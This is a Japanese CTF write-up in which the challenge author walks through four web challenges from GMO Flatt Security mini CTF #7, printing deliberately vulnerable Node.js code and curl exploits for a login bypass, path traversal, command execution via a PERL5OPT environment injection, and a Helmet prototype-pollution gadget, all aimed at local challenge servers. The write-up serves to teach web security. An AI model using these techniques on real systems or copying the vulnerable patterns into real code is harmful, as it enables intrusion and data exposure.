2025年8月19日の19時15分から20時15分にかけて、Webオンリーで1時間のCTFとしてGMO Flatt Security mini CTF #7が開催されました。これまでは参加者としてこのCTFを遊んでいましたが、今後は作問側に回ってやっていきます。
イベント当日にもスライドを用いて問題の解説を行いましたが、この記事では改めてそこでお話ししたことを文章にしたいと思います。なお、出題した問題のソースコードや解法、解説スライドなどはいずれもGMO Flatt SecurityのGitHub等で公開していますので、参照ください。
ちなみに、今回mini CTFに参加された方からすでに何件もwriteupを投稿いただいています。ありがとうございます!!
- flatt mini CTF #7 writeup - yuma4869'sNote
- GMO Flatt Security mini CTF #7 全問writeup #CTF - Qiita
- GMO Flatt Security mini CTF #7 write-up & 感想 - プログラム系統備忘録ブログ
- GMO Flatt Security mini CTF #7 writeup - コードと雑記と時々ラーメン
- [Web] login-as-admin (57 solves)
- [Web] file yomitaro (36 solves)
- [Web] shaberu ushi (10 solves)
- [Web] helmet-anuki (17 solves)
[Web] login-as-admin (57 solves)
adminとしてログインして
/adminにアクセスすればフラグがもらえるようですが、
肝心のadminとしてログインする機能が存在していません。今すぐフラグが必要なのに困ります。問題のゴール:
- adminとしてログインしているように見せかけて
/adminにアクセスする添付ファイル: dist-001.zip
概要
添付ファイルに含まれている index.js を見ていきましょう。まずフラグが得られる条件を確認します。フラグの入っている FLAG という変数は /admin で参照されており、今ログインしているユーザの isAdmin というプロパティがtruthyであればフラグが出力されます。
app.get('/admin', (req, res) => { const username = req.cookies.username; if (username === 'admin') { return res.send('What are you trying to do?'); } const user = users[username]; try { if (!username || !user.isAdmin) { return res.send(`You don't have enough permissions to access this page.`); } } catch { console.error('something wrong'); } return res.send(`Hello, admin! The flag is: ${FLAG}`); });
「今ログインしているユーザ」が誰かをどう判定しているかですが、これはCookieにユーザ名を保持しておき、users というユーザの全データが入っているオブジェクトを参照して行われています。users は次の通りで、isAdmin が true であるユーザはひとつのみです。それも、ユーザ名は crypto.randomUUID で生成されているために推測が不可能です。また、そのユーザ名はこの users の定義以外では参照されていないため、盗み出すことは不可能です。
const users = { // guest user. This user has no admin permissions. guest: { isAdmin: false }, // admin user. This user has admin permissions. // However, the ID is randomly generated, so it is not known in advance. [crypto.randomUUID()]: { isAdmin: true, } };
よく見るとエラーハンドリングがおかしい
もう一度 /admin の実装を見てみます。ユーザ名がCookieに存在しているか、ユーザの isAdmin がtruthyかどうかを判定している処理は try-catch で囲まれていますが、もしここでエラーが発生したらどうなるでしょうか。catch ブロックでは something wrong とエラーログを出力しています…が、ここで return がされていません。return されていなければ、catch ブロックを抜けて、それ以降の処理が続けて実行されます。つまり、エラーが発生するとフラグが出力されてしまうわけです。
app.get('/admin', (req, res) => { const username = req.cookies.username; if (username === 'admin') { return res.send('What are you trying to do?'); } const user = users[username]; try { if (!username || !user.isAdmin) { return res.send(`You don't have enough permissions to access this page.`); } } catch { console.error('something wrong'); } return res.send(`Hello, admin! The flag is: ${FLAG}`); });
では、どうやってエラーを起こせばよいでしょうか。実は、Cookieに適当に存在しないユーザ名を入れてやることでエラーが発生します。というのも、const user = users[username] で user には undefined が入り、その後の user.isAdmin において、undefined のプロパティにアクセスしようとしたということで TypeError が発生するためです。
解法
ということで、Cookieに存在しないユーザ名を設定して /admin にアクセスすることでフラグが得られます。
#!/bin/bash curl 'http://localhost:3000/admin' -b 'username=invalid-username'
flag{adminmin_zemi_93f7105a}
なぜそうなるのかを考えようとするとちょっと面倒なものの、競技ではCookieをガチャガチャいじっていたらフラグが出てきたという方が多かったのではないかと思っています。実は最初はもうちょっと面倒な問題でしたが、レビューで怒られたので大きく修正しました。修正してよかったと思います。ありがとうございます。
[Web] file yomitaro (36 solves)
ファイルを読めるWebアプリを作りました。
対策をしているのでPath Traversalはできません。たぶん。問題のゴール:
- 「対策」をバイパスして
/flagを読み出す添付ファイル: dist-002.zip
概要
まずフラグの場所を確認しましょう。Dockerfile を見ると、(配布されたファイルでは index.js 等と同じディレクトリにあり少し紛らわしいですが) flag がルートディレクトリに配置されていることがわかります。
# … COPY flag / COPY index.js index.html ./ COPY static/ static/ # …
index.js を見ていきます。ちょっと長いですが、/static/:file は次のような処理になっています。指定されたファイルを static/ というディレクトリから読んで返すような処理が行われています。Path Traversal対策として .. を消すという処理も行われています。
app.get('/static/:file', (req, res) => { let file = req.params.file; for (const forbidden of ['dev', 'proc']) { if (file.includes(forbidden)) { return res.status(400).send({ error: `Access to ${forbidden} directory is not allowed`, requestedFile: file }); } } file = file.replace('..', ''); // Prevent directory traversal if (file.endsWith('.js')) { res.setHeader('Content-Type', 'application/javascript'); } else if (file.endsWith('.css')) { res.setHeader('Content-Type', 'text/css'); } if (fs.existsSync(`./static/${file}`)) { return res.send(fs.readFileSync(`./static/${file}`, 'utf8')); } return res.status(404).send({ error: 'File not found', requestedFile: file }); });
「対策」をバイパスする
まず、/static/hoge/fuga のように /static/ より後ろにスラッシュが含まれるパスにアクセスした場合には、/static/:file にマッチせず Cannot GET /static/hoge/fuga と返ってきてしまう(つまり、ハンドラとして登録されている関数が実行されない)という問題があります。今回の目的はPath Traversalであるわけですから、なんとかしてスラッシュを含ませたいです。
ここでパーセントエンコーディングが使えます。/static/hoge%2ffuga にアクセスすると、今度はちゃんとJSONが返ってきました。/static/:file に登録されているハンドラを実行させることができたようです。
ただし、まだ .. が消されてしまうという問題が残っています。コードをよく見ると、file.replace('..', '') のようにして文字列の削除がされています。String.prototype.replace についてMDNで調べると、第1引数として渡ってきたものが文字列であれば、それは「最初に一致した箇所のみを置き換え」るとあります。つまり、2回以上登場した場合には、最初の1個以外は置換されないわけです。..../../ というような文字列があれば、最初の .. だけが消されて ../../ になるわけです。
解法
まとめると、次のようなexploitでフラグが得られます。/ はパーセントエンコーディングし、また最初にダミーの .. を置くことで、以降の .. が消されないようにしています。
#!/bin/bash curl --path-as-is 'http://localhost:3001/static/....%2f..%2fflag'
flag{tiger_bar_monkey_29a4530e}
フラグは虎、バー、猿です。CTFはやったことがないけどWebにちょっと詳しい人、あるいはCTFはよくやるけどWebはよく知らない人も1時間で解けるような問題がほしいと思い、ではよく知られている脆弱性であるPath Traversalを出そうと思い作問しました。
[Web] shaberu ushi (10 solves)
人語を解する牛が発見されました。現地と中継がつながっています。
問題のゴール:
/readflag-(ランダムなhex)を実行する添付ファイル: dist-003.zip
概要
まず Dockerfile から見ていきましょう。問題文では「/readflag-(ランダムなhex) を実行する」ことがゴールだとされていますが、たしかに readflag.c をコンパイルしたバイナリがルートディレクトリに存在していることがわかります。
# … COPY ./readflag.c /tmp/readflag.c RUN gcc -static -o /readflag /tmp/readflag.c RUN rm /tmp/readflag.c RUN chmod 111 /readflag RUN mv /readflag /readflag-$(head -c 8 /dev/urandom | od -A n -t x1 | tr -d ' \n') # …
readflag.c は次のとおりです。シンプルで、これを実行さえすればフラグが得られます。
#include <stdio.h> int main() { puts("flag{DUMMY}"); return 0; }
index.js は次のとおりです。/say は cowsay という実行ファイルを使って牛に喋らせていますが、わざわざ cowsay にコマンドライン引数を与えず、標準入力からテキストを与えるような作りになっています。
const fs = require('fs'); const cp = require('child_process'); const express = require('express'); const PORT = process.env.PORT || 3000; const app = express(); app.use(express.urlencoded({ extended: true })); const indexHtml = fs.readFileSync('./index.html', 'utf8'); app.get('/', (req, res) => { return res.send(indexHtml); }); app.post('/say', (req, res) => { const params = req.body.params || {}; if (typeof params.input !== 'string' || params.input.length > 100) { return res.status(400).json({ error: 'Message too long' }); } try { const result = cp.execFileSync('/usr/games/cowsay', [], { ...params, encoding: 'utf8', timeout: 3000, // just to be sure we don't execute arbitrary commands cwd: '/app', shell: '/bin/sh' }); return res.json({ message: result.trim() }); } catch (error) { return res.status(500).json({ error: 'Failed to generate cowsay' }); } }); app.listen(PORT, () => { console.log('Server is running'); });
どこに脆弱性があるか
さて、child_process.execFileSync の第3引数は各種オプションを指定するものですが、ここで ...params とユーザ入力を展開しています。params が持つ input というプロパティが文字列であるかどうか、またそれが100文字以下であることしかチェックされていませんから、それ以外のプロパティを仕込むことで、execFileSync に渡されるオプションを操作することができます。
ただし、同名のプロパティが出現した際には、より後に定義されたものの方が優先されるというスプレッド構文の挙動のために、encoding, timeout, cwd, shell は書き換えることができません。そのほかで有用なオプションがないかNode.jsのドキュメントを読んで確認すると、env が見つかります。これを使えば cowsay に渡される環境変数を操作できます。
どの環境変数をいじるか
どんな環境変数を操作すればOSコマンドの実行に持ち込むことができるでしょうか。たとえば、Node.jsでは NODE_OPTIONS という環境変数を使うことでコマンドラインオプションを操作することができますし、Linuxでは LD_PRELOAD を使うことで強引に共有ライブラリを読み込ませることができます。しかしながら、今回は実行されるファイルは cowsay ですし、好きなファイルを書き込めるわけでもないですから、今紹介した2つの例はいずれも使えません。
ここで、問題サーバと同じように apt install cowsay をし(あるいは添付ファイルで docker compose up 等をしてできあがったコンテナに入り)、/usr/games/cowsay を確認してみます。すると、これはテキストファイルであり、また #!/usr/bin/perl というshebangからPerlで書かれていることがわかります。Perlの言語処理系がどのような環境変数を参照するか確認すればよさそうです。
Perlが参照する有用な環境変数を見つけるために、man を読んだり、Perlの処理系のコードを読んだり、ltrace で getenv の呼び出しを監視したりしてもよいですが、今回のイベントは競技時間が1時間と短いですし、ほかの問題もありますから、そんなことをやっている時間はありません。たとえば "perl environment variables exploit" のようなクエリでググってみると、"Hacking With Environment Variables" のような有用な記事が見つかります。ここでは PERL5OPT を使うテクニックが紹介されています。これはPerlのコマンドラインオプションを操作できるもので、PERL5OPT=-Mbase;print(`id`) のように、モジュールを読み込む -M オプションを悪用することでPerlの任意コード実行に持ち込めるようです。
解法
まとめると、次のようなexploitでフラグが得られます。PERL5OPT で -d というオプションを仕込み、PERL5DB にPerlのコードを仕込むという手もあります。
#!/bin/bash curl 'http://localhost:3002/say' --data-raw 'params[input]=aaa¶ms[env][PERL5OPT]=-Mbase;print(`/readflag-*`)'
flag{mo-tan_b33a6590}
ACSC 2021のCowsay as a ServiceやAlpacaHack Round 2のCaaSをリスペクトして cowsay を使った問題にしました。cowsay だけで1回mini CTFができると思います。
今回の競技ではこれと後のhelmet-anukiの想定難易度をmediumとしており、またスコアボード上でもその順番で表示されるようにしていましたが、最終的には解いた人数はhelmet-anukiの方が多くなりました。こちらの方がやることが非自明気味なのでもしかすると難しくなるかも、とレビューを通して薄々わかっていたので、表示順を逆転させておくべきだったかもしれません。
[Web] helmet-anuki (17 solves)
Object.prototypeの任意のプロパティに任意の値を設定できます。つまり、Prototype Pollutionができます!
HelmetというライブラリがContent-Security-Policyヘッダを送出してくれますが、その値にgive me flag!を含ませることはできるでしょうか。TIPS:
options.abcのようなプロパティアクセスで、Object.prototype.abcになんらかの値が入っており、かつoptions自身がabcというプロパティを持っていなかったとき、Object.prototype.abcの値が返ってきます。このような攻撃はPrototype Pollutionとよばれます- Prototype Pollutionでプロトタイプを汚染することで悪用できるような便利なコード片は、
gadgetとよばれます- Helmetに含まれるgadgetを探してみましょう
- なお、
runnerは攻撃対象ではありません。このコンテナに対する攻撃は試みないでください問題のゴール:
Content-Security-Policyの値にgive me flag!を含ませる添付ファイル: dist-004.zip
概要
添付ファイルを展開すると、compose.yaml というファイルと、runner と sandbox というディレクトリが出てきます。runner のソースコードを確認すると、これはユーザからJSONを含むリクエストが来るたびに、docker run --rm tanuki-sandbox (与えられたJSON) 相当のことをしていることがわかります。
runner で参照されている tanuki-sandbox というイメージは、以下の compose.yaml を見ると、sandbox 下のファイルから作られたものだとわかります。
services: sandbox: build: ./sandbox image: tanuki-sandbox runner: build: ./runner restart: unless-stopped ports: - "5000:5000" volumes: - /var/run/docker.sock:/var/run/docker.sock environment: - FLAG=flag{DUMMY}
sandbox の index.js は次のとおりです。まずコマンドライン引数として与えられたJSONをパースして、それに含まれるすべてのプロパティを Object.prototype にコピーしています。ここでPrototype Pollutionができるようになっています。
Prototype Pollutionが終わると、ExpressでWebサーバを立ち上げています。このとき、Helmetというミドルウェアを使っており、Content-Security-Policy や X-Frame-Options といったセキュリティ関連のヘッダが自動で送られるようにしています。
Webサーバが立ち上がると、fetch で自分自身にリクエストを送っています。そして、Content-Security-Policy ヘッダにもし give me flag! という文字列が含まれていれば、フラグが出力されます。
const express = require('express'); const helmet = require('helmet'); const FLAG = process.env.FLAG || 'flag{DUMMY}'; const IMPORTANT_HEADER_KEY = 'content-security-policy'; if (process.argv.length < 3) { console.error('no arg provided'); process.exit(1); } // pollute Object.prototype with user-provided object const payload = process.argv[2]; // you can control this string for (const [k, v] of Object.entries(JSON.parse(payload))) { Object.prototype[k] = v; } ///////////////////////////////////////////////////////////////////////////// // okay, let's deploy the server const app = express(); app.use(helmet()); // this will strengthen this app! app.get('/', (req, res) => { res.send('ok'); }); app.listen(3000, () => { // send request to the server itself to check if the header is polluted fetch('http://localhost:3000').then(r => { if (!r.headers.has(IMPORTANT_HEADER_KEY)) { console.log(`nope: ${IMPORTANT_HEADER_KEY} not found`); process.exit(0); } // if you control the Content-Security-Policy header, I will give you the flag const headerValue = r.headers.get(IMPORTANT_HEADER_KEY); const isHeaderPolluted = headerValue.includes('give me flag!'); console.log(isHeaderPolluted ? `Congratulations! The flag is: ${FLAG}` : 'nope: header not polluted'); process.exit(0); }); });
問題文や「問題のゴール」で示されているように、Prototype Pollutionによって Content-Security-Policy ヘッダの内容を好きなものに変化させることができれば、フラグが得られるようです。Prototype Pollutionがなにかということや、その悪用の方法については、PortSwiggerのWeb Security AcademyやHuliさんのBeyond XSS等を参照するとよいでしょう。
gadgetを探す
Prototype Pollutionで悪用できるようなコード片であるgadgetをHelmetのコードから探し出す必要があります。もしかしたら任意のヘッダを送出できるようなgadgetもあるかもしれませんが、とりあえず今回の目的に近そうな middlewares/content-security-policy/index.ts を見ていきます。Content-Security-Policy ヘッダ周りの処理はここで定義されているためです。
Object.prototype.hasOwnProperty を使って本当にそのオブジェクトが持っているプロパティであるかを確認せず、つまり Object.prototype 等が持っているプロパティであっても構わず使ってしまうようなプロパティへのアクセスはないでしょうか。探し方は色々ありますが、options.hoge のように、引数として渡ってきたオプションを参照しているような処理がgadgetになりがちです。このコードでも、options.directives というプロパティが、options 自身が持つプロパティであるかどうかを検証せずに参照されています。
directives は、Content-Security-Policy ヘッダでディレクティブを指定するためのオプションです。これに適切なオブジェクトが入っていれば、Content-Security-Policy ヘッダの値として出力されるはずです。Object.prototype.directives に適切なオブジェクトを入れましょう。
解法
そういうわけで、次のようなJSONを投げるとフラグが得られます。
{"directives":{"script-src":["give me flag!"]}}
flag{tanuki_should_be_in_the_zodiac_c7cfe870}
Prototype Pollution自体を探すパートはスキップして、gadgetを探すことだけをやればよいという問題でした。解説スライドやこのwriteupではHelmetのコードを読んでgadgetを探しましょうという流れでしたが、実際にはドキュメントを読んでそれっぽいプロパティをいじったらエラーが出た、LLMに聞いたらなんか出たというような解き方もアリかと思います。